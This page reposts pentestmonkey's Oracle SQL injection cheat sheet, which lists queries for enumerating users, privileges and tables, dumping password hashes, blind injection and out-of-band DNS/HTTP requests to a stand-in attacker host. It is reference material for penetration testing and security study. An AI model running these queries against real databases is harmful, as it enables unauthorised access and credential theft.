Oracle SQL Injection Cheat Sheet


[출처] http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet



Some useful syntax reminders for SQL Injection into Oracle databases…

This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.

The complete list of SQL Injection Cheat Sheets I’m working is:

I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin.  These are marked with “– priv” at the end of the query.

경축! 아무것도 안하여 에스천사게임즈가 새로운 모습으로 재오픈 하였습니다.
어린이용이며, 설치가 필요없는 브라우저 게임입니다.
https://s1004games.com

VersionSELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
SELECT version FROM v$instance;
CommentsSELECT 1 FROM dual — comment
– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
Current UserSELECT user FROM dual
List UsersSELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
List Password HashesSELECT name, password, astatus FROM sys.user$ — priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ — priv, 11g
 Password Crackercheckpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List PrivilegesSELECT * FROM session_privs; — current privs
SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA AccountsSELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
Current DatabaseSELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List DatabasesSELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
– Also query TNS listener for other databases.  See tnscmd (services | status).
List ColumnsSELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
List TablesSELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
Find Tables From Column NameSELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
Select Nth RowSELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth CharSELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
Bitwise ANDSELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> CharSELECT chr(65) FROM dual; — returns A
Char -> ASCII ValueSELECT ascii(‘A’) FROM dual; — returns 65
CastingSELECT CAST(1 AS char) FROM dual;
SELECT CAST(’1′ AS int) FROM dual;
String ConcatenationSELECT ‘A’ || ‘B’ FROM dual; — returns AB
If StatementBEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding QuotesSELECT chr(65) || chr(66) FROM dual; — returns AB
Time DelayBEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
– Also see Heavy Queries to create a time delay
Make DNS RequestsSELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
Command ExecutionJavacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File AccessUTL_FILE can sometimes be used.  Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
Hostname, IP AddressSELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
Location of DB filesSELECT name FROM V$DATAFILE;
Default/System DatabasesSYSTEM
SYSAUX

Misc Tips

In no particular order, here are some suggestions from pentestmonkey readers.

From Christian Mehlmauer:

Get all tablenames in one stringselect rtrim(xmlagg(xmlelement(e, table_name || ‘,’)).extract(‘//text()’).extract(‘//text()’) ,’,') from all_tables –  when using union based SQLI with only one row
Blind SQLI in order by clauseorder by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = ‘a’ and rownum = 1)=1) then column_name1 else column_name2 end — you must know 2 column names with the same datatype

 

Tags: , , , ,

Posted in SQL Injection







본 웹사이트는 광고를 포함하고 있습니다.
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
번호 제목 글쓴이 날짜 조회 수
공지 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 졸리운_곰 2017.12.10 28360
29 [정보보안 기사 - 국가기술자격] [Kali Linux] Dos(Denial of Service) 공격 및 방어 file 졸리운_곰 2023.07.30 168
28 2018년도 국가공인 산업보안관리사(공인 제2016-5호, 산업통상자원부 장관) 자격검정시험 연간일정 안내 졸리운_곰 2018.01.17 164
27 정보보안기사 1차 필기 1차 시험, 2차 시험 기출문제 file 졸리운_곰 2017.09.23 250
26 2017년 9회 정보보안기사 실기 가답안 졸리운_곰 2017.09.23 346
25 시스템 취약점 점검도구 선정 지침 file 졸리운_곰 2017.09.10 181
24 정보보안기사 요약 정리.pdf file 졸리운_곰 2017.08.25 394
23 정보보안 기사_산업기사 정보보안 관리 및 법규 요약.pdf file 졸리운_곰 2017.08.25 300
22 정보보안기사 실기 기출문제 1,2,3,4 회 file 졸리운_곰 2016.10.23 1058
21 정보보안기사 요약 자료 pdf file 졸리운_곰 2016.10.23 5606
20 제8회 정보보안기사필기결과 secret 졸리운_곰 2016.10.15 0
19 정보보안 국가기술자격검정 최종합격 현황 중요 file 졸리운_곰 2016.08.31 335
18 정보보안기사 실기 준비요령 file 졸리운_곰 2015.05.23 1229
17 제5회 정보보안기사 1차 필기 결과 file 졸리운_곰 2015.04.17 644
16 위험분석 방법론 졸리운_곰 2015.01.17 489
15 Cisco 장비에서 ACL 설정을 해보자! file 졸리운_곰 2014.11.17 639
14 CCNA/CCNP 자료 졸리운_곰 2014.11.17 578
13 [알아봅시다] OTP one time password 란? file 졸리운_곰 2014.11.17 616
12 * PKI 조사 file 졸리운_곰 2014.11.17 274
11 * SET 결제시스템 조사 file 졸리운_곰 2014.11.17 517
10 정보보안기사 실기 기출 [1회/2회/3회] file 졸리운_곰 2014.10.28 8602
대표 김성준 주소 : 경기 용인 분당수지 U타워 등록번호 : 142-07-27414
통신판매업 신고 : 제2012-용인수지-0185호 출판업 신고 : 수지구청 제 123호 개인정보보호최고책임자 : 김성준 sjkim70@stechstar.com
대표전화 : 010-4589-2193 [fax] 02-6280-1294 COPYRIGHT(C) stechstar.com ALL RIGHTS RESERVED